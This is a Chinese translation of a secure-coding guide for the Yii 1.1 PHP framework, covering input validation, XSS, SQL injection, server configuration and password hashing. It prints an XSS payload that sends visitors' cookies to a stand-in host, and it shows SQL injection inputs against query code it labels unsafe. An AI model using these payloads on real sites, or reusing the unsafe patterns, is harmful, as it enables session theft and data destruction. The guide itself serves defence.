[翻译]如何用YII写出安全的WEB应用

2023-02-24 11:09:57

前言

虽然本文是基于YII1.1，但其中提到的安全措施适用于多数web项目安全场景，所以翻译此文，跟大家交流。原文地址。

目录

安全基本措施... 2

验证与过滤用户的输入信息... 2

原理... 2

客户端验证... 2

YII如何防范... 2

跨站脚本攻击XSS. 4

原理... 4

YII如何防范... 5

SQL注入... 7

原理... 7

YII如何防范... 8

跨站请求伪造CSRF. 12

配置WEB服务器... 12

PHP项目一些有用的指令... 15

授权... 16

验证... 17

常用工具... 18

正文

提示：虽然本文内容丰富，但并未囊括所有的安全方面的知识；如果您程序对安全要求相当高，请多多参考相关技术。

安全基本措施

  • 对用户所有输入的信息都要验证与过滤，再进行处理。
  • 对所有输出到浏览器的信息都要过滤
  • 程序要经过debug模式的测试（开发环境下）

如下操作：设置YII_DEBUG为true,并设置error_reporting(E_ALL)；设置后，YII会打印出所有错误和警告的信息，出错的代码与原因；

注意，不要忽略任务一个提示，即使一个警告（E_NOTICE）都可能引发安全问题，比如未定义的数组的键。

  • 在生产环境 下一定要关闭debug

要保证产品中的提示信息不包含调试敏感信息。

  • 尽量对用户输入的信息都用白名单过滤，而不要用黑名单过滤；
  • 在产品里部署日志系统，定期检查警告与错误提示；

一般两种日志：YII记录程序中运行的日志，web服务器和PHP记录服务端的日志。

接下来将详细阐述。

验证与过滤用户的输入信息

原理

比如，当用户修改自己档案中的生日时，后台应该要确保他输入的是有效的日期；这不仅仅是为了防止用户的误操作，也是为了确保安全。如，要确保用户输入的是正确的时间格式“1951-01-25”，以防止sql注入与跨域攻击。验证用户输入虽然不是最有效的防范手段，但这是防范措施的第一步。

客户端验证

客户端验证并不能防范安全隐患，但能使程序与用户的交互更友好。为什么说客户端验证也不能保证安全呢？比如下面的这段HTML代码：

<input type="hidden" name="id" value="1" />

<input type="text" name="date" size="10" />

<select name="list"><option>1</option><option>2</option></select>

虽然，网页前端输出的数据与各种html的input与select控件，但用户可以将这控件全部修改成textarea，然后再发送到后台。

YII如何防范

YII提供了下面两种方式处理这种情况。（在不用YII的情况下，使用PHP的类型转换与过滤扩展。）

基于model的验证

多数时候，用户输入的信息会由model来处理，而model是继承自CFormModel 或者 CActiveRecord 。这两个类的父类CMode的rules()方法用来定义字段验证规则。

验证用户输入的信息也可以写在CComponent 的行为和model 的beforeValidate()方法里。

<?php

// controller里Action

$model = new Comment;

$model->attributes = $_POST['Comment'];

if ($model->save()) { // 验证通过后，才会被保存

$this->redirect(array('view', 'id' => $model->id));

} else {

// 未通过验证，或保存未成功

}
<?php

// model

class Comment extends CActiveRecord

{

public function rules()

{

return array(

array('parent', 'numerical', 'integerOnly' => true),

array('strangedata', 'customValidateForStrangedata'),//自定义的验证器

array('description', 'length', 'max' => 255),

);

}

// 继承父类的beforeValidate(),在验证之前执行

protected function beforeValidate()

if (!empty($this->description) && substr_count($this->description, '"') % 2 !== 0) {

$this->addError("description", "引号没有配对");

// return false; // stop validation

}

return parent::beforeValidate();

}

/*自定义的验证方法

* @return boolean Continue the validation process? */

protected function customValidateForStrangedata($attribute, $params)

{

$this->addError($attribute, "validation failed");

return false;

}

 

在编写程序的时候，应该重视对用户输入信息的验证，这不仅仅是为了安全，也能保持后台收集到正确的数据。YII已经为我们定义多种的字段的验证方式，而且自己也还可以新增验证器。同时，在不同的场景下也可以使用不同的验证。比如，某个字段仅需要在修改的时候验证，而在新增的时候，则不需要验证。

基于controller验证

有的用户输入信息需要直接在controller里验证。当这种情况的时候，应该使用的PHP的类型转换。一般都这么处理数字型的ID。

<?php

// 不安全

$model = Post::model()->findByPk($_GET['id']);

// 安全

$model = Post::model()->findByPk((int) $_GET['id']);

 

如果传入字段的类型不是数字型，推荐使用model进行验证。

对上面示例的补充

当遇到上面例子中第一种写法的时候，YII中model的findByPk()方法会自动转换ID为数字型 (下面SQL注入章节会重点介绍)。然而多数情况下，依靠YII的这种自动处理是不保险的。比如，当恶意用户输入这样一个url：comment/delete?id[]=2\&id[]=1。后台$_GET[‘ID’]接收到的就是一个数组，如果此ID没有被验证就用于其它函数(不仅仅 是findByPk)处理，这就存在安全隐患。

跨站脚本攻击XSS

原理

如果用户的输入的信息没有过滤与验证，就后台就直接交此信息输出到浏览器，这可能被恶意用户利用，从而进行XSS攻击。比如，用户输入JavaScript代码，而其它用户又浏览了此用户的信息，则可能造成用户的信息被窃取。典型案例是盗取用户的cookie信息。

示例：

<h2> <?php echo $user->name ?>的简历</h2>

//未过滤的用户输出数据:

<a href="/posts?name=<?php echo $user->login ?>"

title='<?php echo $user->name ?>'>查看我的档案</a>

 

为什么上面示例有案例隐患呢？如果上例中$user->name是如下所示的代码:

张三<script>document.write('<img src="http://x.com/save.php?cookie='+getCookie()+'" />');function getCookie(){...}</script>

 

那么当其它用户访问张三的档案的时候，将会从其它服务器加载一张图片，而此加载图片的请求携带着访问者的cookies信息。这就是XSS攻击基本的原理。

PHP提供htmlspecialchars函数将一些预定义的字符转(如: &,",’,<,>)换为 HTML 实体。上面示例中还有超链接，所以htmlspecialchars结合rawurlencode() 和 htmlspecialchars(, ENT_QUOTES)一起使用。

YII如何防范

普通文本

用CHtml::encode()输出普通文本。示例:

<h2> <?php echo CHtml::encode($user->name) ?>简历</h2>

 

CHtml::encode()封装了htmlspecialchars函数，默认文本编码是YII应用的编码；所以如果需要输出的文本的编码不是UTF-8,就需要在YII的配置文件(main.php)里设置charset;

有时需要在CHtml::encode()前，使用PHP的strip_tags()去除HTML/XML标签。遇到这种情况，使用strip_tags后，切记要使用CHtml::encode()；不要单独使用strip_tages()。

富文本

如果浏览器需要显示用户输入的HMTL代码，后台应该在保存用户输入数据前过滤。有几个PHP库解决这个问题，其中著名的如 Html Purifier 。Yii已经将Html Purifier封装成CHtmlPurifier。

示例:

<li class="comments">

<?php

$purifier = new CHtmlPurifier();

$purifier->options = array(

'HTML.Allowed' => 'p,a[href],b,i',

);

foreach (Comment::model()->findAll() as $comment) {

// 危险的输出

//echo "<li>" . $comment->text . "</li>\n";

// 安全的输出

echo "<li>" . $purifier->purify($comment->text) . "</li>\n";

}

?>

</li>

 

一般使用富文本编辑器(如:TinyMCE,CkEditor)来满足用户输入HTML的需求。但Markdown或wiki syntaxt语言是个更好的选择。

示例:

<div class="comment">

<?php

$md = new CMarkdownParser();

echo "<div>" . $md->transform($comment) . "</div>";

?>

</div>

 

URL

使用rawUrlEncode()转义网址中的URL部分，urlEncode()转义网址中的网址中的参数部分。

示例

<script>var a = "http://x.com/<?php echo rawUrlEncode($query) ?>"; </script>

<a href="/search/<?php echo rawUrlEncode($query)) ?>">转义网址中url部分</a>

<a href="/?param=<?php echo urlEncode($param) ?>">转义url的参数部分</a>

<a href="<?php echo CHtml::encode($url . "&param=" . urlEncode($param)) ?>">转义整个网址</a>

 

CHtml::encode()不能单独在这里使用，如$query = 'xxx.com?x="N & B"',这样CHtml::encode()会将’&’，转义成’&amp’。

CSS

使用Html Purifier处理CSS；(详见上章富文本的处理)。

JavaScript

使用CJavaScript的静态方法，对JS变量作转义输出；

示例：

<?php

$messages = array("Rock'n roll", 'Say "hello"');

$title = "D'accord";

Yii::app()->clientScript->registerScript('snippet', "

function displayMsg() {

var messages = " . CJavaScript::encode($messages) . ";

var title = '" . CJavaScript::quote($title) . "';

// ...

}

");

 

如果不需要YII转义JS，可以使用js:前缀。如下所示：

<?php

$this->widget(

'zii.widgets.jui.CJuiAutoComplete',

array(

'name' => 'field_name', // 默认会使用CJavaScript::quote 转义变量

'source' => 'js:function(request, response) { $.ajax({...}) }', // 在代码前加“js:”前缀

 

SQL注入

原理

简单的说，当把未经过滤和验证的数据直接拼装SQL语句，会存在SQL注入漏洞。

<?php

// 警告，以下是不安全的写法

Yii::app()->db

->createCommand("DELETE FROM mytable WHERE id = " . $_GET['id'])

->execute();

$comments = Comment::model->findAll("user_id = " . $_GET['id']);

 

上面示例中的第一个sql语句，如果GET参数是”4 or 1=1”,这会导致表中的所有数据被删除；

第二个sql语句中，如果GET参数是2 UNION SELECT ，会导致数据库的任意数据都被查询出来。

YII如何防范

使用YII提供的函数操作

如下例

<?php

$id = intval($_GET['id']);

MyModel::model()->findByPk($id)->delete();

// 使用类型转换

$comments = Comment::model->findAllByAttributes(array('user_id' => (int)$_GET['id']);

使用YII函数要比纯SQL语句安全些；但，对于YII函数来说，使用数组比字符串更安全；如下例:

<?php

//存在sql注入

$comments = Comment::model->findAll("post_id = $postId AND author_id IN (" . join(',', $ids) . ")");

// 安全

$comments = Comment::model->findAllByAttributes(array("post_id" => $postId, "author_id" => $ids));

 

SQL语句预编译

当必须要使用原生的SQL的时候，比如一个SQL语句有两个参数，如下所示：

SELECT CONCAT(prefix, title) AS title, author_id, post_id, submit_date

FROM t_comment

WHERE (date > '{$date}' OR date IS NULL) AND title LIKE '%{$text}%'

遇到这种情况，有以下两种相对安全的写法：

  • 给每个参数加引号（不推荐）
  • 使用预编译SQL(推荐)

当使用第一种方式的时候，可以使用YII的CDbConnection::quoteValue()；

比如"date > '{$date}'"，可以写成 "date > " . Yii::app()->db->quoteValue($date)。

数据库服务器先编译完传入的SQL语句，再将接收到的参数插入到SQL语句的占位符。但，当数据库服务器不支持预编译时，PHP就会模拟这个过程，这也可能有SQL注入的隐患（预编译的详细原理可以参考这篇博文）。

在YII中SQL预编译的过程可以如下所示的代码:

<?php

// 占位符没有引号

$sql = "SELECT CONCAT(prefix, title) AS title, author_id, post_id, date "

    . "FROM t_comment "

    . "WHERE (date > :date OR date IS NULL) AND title LIKE :text"

 // 第一种写法

$command = Yii::app()->db->createCommand($sql);

$command->bindParam(":date", $date, PDO::PARAM_STR);

$command->bindParam(":text", "%{$text}%", PDO::PARAM_STR);

$results = $command->execute();

 // 第二种写法

$command = Yii::app()->db->createCommand($sql);

$results = $command->execute(array(':date' => $date, ':text' => "%{$text}%"));
 

当使用ActiveRecordr的时候用SQL预编译，语法会更加简练，如下所示:

<?php$comments = Comment::model->findAllBySql($sql, array(':date' => $date, ':text' => "%{$text}%"));

 

对SQL语句中LIKE的一些补充

在上面的示例中，即使不存在SQL注入隐患，此SQL语句中的like的使用也值得商榷。’%like%’不使用索引的，而’like%’是可以使用索引的；所以，如果将’like%’转换成’%like%’，当like的字段值很大的时候，会严重影响效率。

建议当需要使用到’%like%’的时候，尽量使用其它比较符(<=,>,……)替换。可以使用YII的CDbCriteria::compare()和CDbCriteria::addSearchCondition()函数，而简化操作。

对预编译SQL中参数占位符补充

从YII1.1.8起，占位符不再用”?”标识，而是使用”:”标识；

对预编译SQL的效率的补充

预编译稍长的SQL要比不编译要稍慢些，这对系统的整体性能影响非常小。但如果同一个SQL运行多次，预编译的效率优势就体现出来了。然而，如果使用的PHP模拟预编译，则跟不编译SQL没有区别。

如果预编译不满足应用的实际需求

虽然预编译能防止SQL注入，但有些时候因为SQL语句的各个部分都是变量，所以不能使用预编译。如下所示：

SELECT *

FROM {$mytable}

WHERE {$myfield} LIKE '{$value}%' AND post_date < {$date}

ORDER BY {$myfield}

LIMIT {$mylimit}

遇到这类情况，一般使用白名单过滤SQL语句的每个部分。YII提供如下类似的过滤方法:

<?php

if (!Comment::model()->hasAttribute($myfield)) {

die("Error");

}

 

更加常用的是使用YII的” Query Builde”，但不能跟CDbCriteria结合使用。

多数时候，我们可能是通过Model来查询，可以使用find*()类的方法与CDbCriteria一起使用。如下：

<?php

// YII会检测字段的合法性

$criteria = new CDbCriteria(

array(

'order' => $myfield,

'limit' => $mylimit,

)

);

$criteria->compare($myfield, $value, true); // LIKE % ：$value会被转义

$criteria->compare('post_date', '<:date');

$criteria->params = array(':value' => $value, ':date' => $date);

$comments = Comment::model()->findAll($criteria)

 

YII的GII模块使用CGridView提供数据。CDataProvider使用CDbCriteria为CGridView提供数据，所以当使用CGridView的时候，YII会自动过滤与验证用户输入的查询条件。

一个完整的示例如下：

<?php

// 当不是原生的SQL语句的时候，YII会自动验证字段的合法性

$criteria = new CDbCriteria();

$criteria->order = $myfield;

$criteria->limit = $mylimit;

$criteria->addSearchCondition($myfield, $value, true); // true ==> LIKE '%...%'

$criteria->addCondition("post_date < :date");

$comments = Comment::model()->findAll($criteria, array(':value' => $value, ':date' => $date));

 

SQL注入的总结

当使用Model进行查询时，有如下五种方式：

1. CActiveRecord::findByPk() 或者 CActiveRecord::findAllByPk().(推荐)

2. CActiveRecord::findByAttributes() 或者 CActiveRecord::findByAttributes()

3. X::model()->find($criteria, array(':param1' => $value1)) 或者 ->findAll(...)

4. X::model()->find($sql, array(':param1' => $value1)) 或者->findAll(...)

5. X::model()->findBySql($sql, array(':param1' => $value1)) 或者 ->findAll(...)

当不是基于Model查询时，要使用预编译，如下所示:

<?php

$r = Yii::app()->db

->createCommand($sql)

->queryAll(array(':param1' => $value1));

 

使用这种方式时，切记要对用户输入的进行过滤与验证。

跨站请求伪造CSRF

需要对数据进行增、删、改，需要客户端的发起POST请求。这是一个好习惯，也是REST架构推荐的方式。如此，可以防止浏览器的一些的误操作而引起数据的变化。但是POST请求并不能防止CSRF，从安全角度来说POST的并没有提高安全性。但YII有一套机制可以防止CSRF，只不过默认并不有开启。

配置WEB服务器

本章节讨论是基于类UNIX系统(Linux,BSD,OSX)上安装的Apache服务器，PHP作为Apache的一个模块运行。其它的环境(如Windows,nginx,PHP-fpm…)配置可能不同，但其它原理是一样的。

DEBUG变量的设置

如果在生产环境中，把YII的YII_DEBUG设置为’true’，系统的调试信息会被打印到浏览器。设想一下，如果用户发现了系统的输入字段没有验证，那么用户发送了可能会发送在表单字段中发送一个数组，这样会导致PHP函数接收了错误的参数类型。如果在debug模式下，YII会打印出详细的调试信息。

不方便的是，YII_DEBUG是在YII应用的index.php中设置。所以，这个变量需要在开发环境、测试环境和生产环境中设置成不同的值。有一个解决方案是使用版本控制器设置，但这样很不方便。

推荐的方式是重写index.php,以便读取debug的配置。可以有如下两种方式:

  • Index.php读取配置文件里的debug变量。
  • 从WEB服务器上读取debug变量。

Apache中如下设置环境变量：

SetEnv YII_ENV testing

这个变量可以在配置文件或者.htaccess中设置。PHP程序可以通过$_SERVER[‘YII_ENV’]读取YII_ENV变量，如果没有设置，默认为生产环境。

YII应用需要注意的

YII框架所在的目录不应该放在WEB服务器的根目录里，要确保用户通过浏览器不能访问框架的文件，如’yiilite.php’。

YII应用中的三个目录：’assets’,’protected/data’,’protected/runtime’；web服务器需要对这三个目录的写权限。除此之外的所有目录，web服务器应该只有读的权限。

即使如此，黑客有可能创建或修改这三个目录的文件。特别是’assets’目录是可写的，又是可以直接通过HTTP请求访问。因此，’assets’目录里的PHP文件只能被当成文本类文件，不能被解析。

YII的应用默认提供了.htaccess文件用来防止’protected/’和’theme/class/views/’被浏览器直接访问。如果在Apache里配置，会更安全、更高效。下面示例了如何禁止运行’assets’文件夹里的PHP文件。

[apache]

# 示例：配置YII应用

Alias /web/path/for/myapp "/home/myapp/www"

<Directory "/home/myapp/www">

AllowOverride None

</Directory>

<Directory "/home/myapp/www/protected">

Deny from All

</Directory>

<Directory "/home/myapp/www/assets">

#关闭PHP解析引擎

php_admin_flag engine off

Options -Indexes

</Directory>

 

下面示例：YII应用在虚拟机中设置:

[apache]

# Example config for Yii-myapp as an Apache VirtualHost

# Please set the paths and the host name to their right values

<VirtualHost *:80>

ServerName myapp.com

DocumentRootAlias /home/myapp/www

ErrorLog /var/log/apache2/myapp-error.log

CustomLog /var/log/apache2/myapp-access.log common

<Directory "/home/myapp/www">

Options +FollowSymLinks

# 从PHP5.4起已经被移除下面两个属性

php_flag register_globals Off

php_flag gpc_magic_quotes Off

# 禁止 .htaccess 重写

AllowOverride None

#重写URL

<IfModule mod_rewrite.c>

# 以下配置是隐藏URL中的index.php

# 需要配置YII的 urlManager.showScriptName = false

IndexIgnore */*

RewriteEngine on

RewriteCond %{REQUEST_FILENAME} !-f

RewriteCond %{REQUEST_FILENAME} !-d

RewriteRule . index.php

</IfModule>

</Directory>

# 禁止通过浏览器访问YII应用 的protected目录

<Directory "/home/myapp/www/protected">

Deny from All

</Directory>

# 保护YII应用中没有PHP脚本的目录

<DirectoryMatch "/home/myapp/www/(assets|css|images|js)$">

# 禁止执行PHP脚本

php_admin_flag engine off

# 禁止浏览目录下的文件目录

Options -Indexes

</DirectoryMatch>

</VirtualHost>

 

PHP项目一些有用的指令

指令

说明

allow_url_include

关闭

register_globals

关闭

magic_quotes_gpc

关闭，因为YII应用忽略此函数的作用

open_basedir

谨慎使用

display_errors

在生产环境下关闭

error_reporting

至少要报告E_ERROR。官方文档

这些指令可以在php.ini中配置。如果appache设置AllowOverride Options，那么在.htaccess中可以如下所示配置：

[apache]

# .htaccess 文件

php_flag display_errors off

php_value error_reporting -1

 

如果不允许在.htaccess文件和ini_set()中改变php.ini中配置的变量，则可以在appache的配置文件(如:httpd.conf)使用php_admin_flag指定。

[apache]

# Apache 配置文件

<Directory "/var/www/myapp">

php_admin_value open_basedir /var/www/myapp/:/tmp/

</Directory>

 

注意：SSL不在本文讨论的范围内。

授权

授权是保证用户只能访问权限内的资源，这个就说来话长了。不过，YII很方便的为我们提供了些类来处理授权问题。详情可以访问详情说明。

其它一些资源：

验证

密码强度

为了防止弱密码的出现，我们可以自己写检验规则，也可以使用现成的YII扩展epasswordstrength。

下面示例:自定义密码强度验证

<?php

class User extends CActiveRecord

{

public function rules()

{

return array(

array('password', 'checkPasswordStrength'),

);

}

protected function checkPasswordStrength($attribute, $params)

{

$password = $this->$attribute;

$valid = true;

$valid = $valid && preg_match('/[0-9]/', $password); // 含数字

$valid = $valid && preg_match('/\W/', $password); // 含其它字符

// ... 其它验证规则 ...

$valid = $valid && (strlen($password) > 7); // 最小长度

if ($valid) {

return true;

} else {

$this->addError($attribute, "密码格式不符合要求");

return false;

}

}

 

也可以先在客户端用JS对密码进行验证，用户可以立刻知道输入的密码是否符合要求。但不要忘记在后端也要用PHP进行验证。客户端的验证的YII扩展estrongpassword。

密码加密

本文只讨论在常规应用应用服务器中的密码验证；其它服务不在讨论之列，如LDAP, SSO, OpenID。

对于用户的密码不能使用明文存储，需要加密存储。一个方便的方法是使用 PHPass。如下示例：

<?php

// autoload "protected/lib/PasswordHash.php"

Yii::import('application.lib.PasswordHash');

class User extends CActiveRecord

{

public function validatePassword($password) // 用户输入$password

{

// 

$hasher = new PasswordHash(8, FALSE);

return $hasher->checkPassword($password, $this->password);

}

public function beforeSave()

{

// 用密文替换明文

if (isset($this->password)) {

$hasher = new PasswordHash(8, FALSE);

$this->password = $hasher->HashPassword($this->password);

}

return parent::beforeSave();

}

 

加密函数可以自己写，但PHPass很安全和成熟。其作者开发过密码密码破解软件john the ripper。

常用工具

一些常用用的安全检测工具。

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